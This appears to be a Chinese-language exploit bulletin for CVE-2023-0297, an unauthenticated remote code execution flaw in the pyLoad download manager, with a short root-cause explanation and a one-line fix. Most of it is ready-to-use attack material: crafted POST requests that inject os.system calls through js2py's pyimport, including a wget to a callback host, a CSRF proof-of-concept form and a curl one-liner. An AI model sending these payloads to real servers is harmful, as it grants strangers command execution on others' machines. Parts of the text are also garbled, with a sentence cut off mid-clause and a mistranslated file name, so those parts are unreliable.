漏洞速递 | CVE-2023-0297未授权远程代码执行漏洞(附EXP)

漏洞速递 | CVE-2023-0297未授权远程代码执行漏洞(附EXP)

LMTEAM 54 2023-02-21

0x01 前言

pyLoad是一个用 Python 编写的 OSS 下载管理器,可通过 Web 界面进行管理。它的GitHub 存储库有大约

0x02 漏洞影响:

pyLoad <= 0.4.20 & 小于0.5.0b3.dev31版本的pyLoad开发版

0x03 漏洞EXP:

POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("wget%20xxx.dnslog.xx");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

0x04 细节

pyLoad是一个用 Python 编写的 OSS 下载管理器,可通过 Web 界面进行管理。它的GitHub 存储库有大约。截至 2023 年 1 月 9 日,已有 2.8k 颗星。

在审核 pyLoad 的源代码时,以下代码引起了我的注意:

cnl_blueprint.py#L124
    jk = eval_js(f"{jk} f()")

函数定义eval_js如下:

misc.py#L25-L27
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()“)使用js2py的功能运行 JavaScript 代码,f”{jk} f()"其中jk参数由请求参数传递:

cnl_blueprint.py#L120
    jk = flask.request.form["jk"]

因此,您可以通过请求端点来运行任意 JavaScript 代码。

但是,你怎么能滥用它呢?由于在js2py.eval_js()上下文中,既没有XMLHttpRequest,fetch也没有require(如 node.js)未定义,因此 SSRF 或读取本地文件不是问题。

花了一些时间后,我发现了一个 fancyjs2py的功能:

pyimport声明

Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

通过使用此功能,您可以在js2py.eval_js()上下文中使用 Python 库!令人惊讶的pyimport是默认情况下启用。😮

我尝试了使用以下命令运行 OS 命令的简单代码pyimport:

$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

果然,touch /tmp/pwnd被处决了!

通过发送以下请求,目标主机中会发生同样的事情:

POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

;f=function%20f2(){};参数中的部分在jk该端点运行时是必需的eval_js(f"{jk} f()")。如果不存在,注入的代码将不会由于name ‘f’ is not defined错误而被执行。

请注意,请求中不存在 cookie 和 CSRF 令牌。代表着:

  • 可以访问目标主机的未经身份验证的攻击者具有 RCE 能力。

  • 即使攻击者无法访问目标主机,他们也可以通过 CSRF 攻击诱骗可以访问目标主机的受害者进行 RCE:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0x05 利用代码

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

0x06 修复建议

只是禁用pyimport功能。

杂项.py

 import js2py
 
+js2py.disable_pyimport()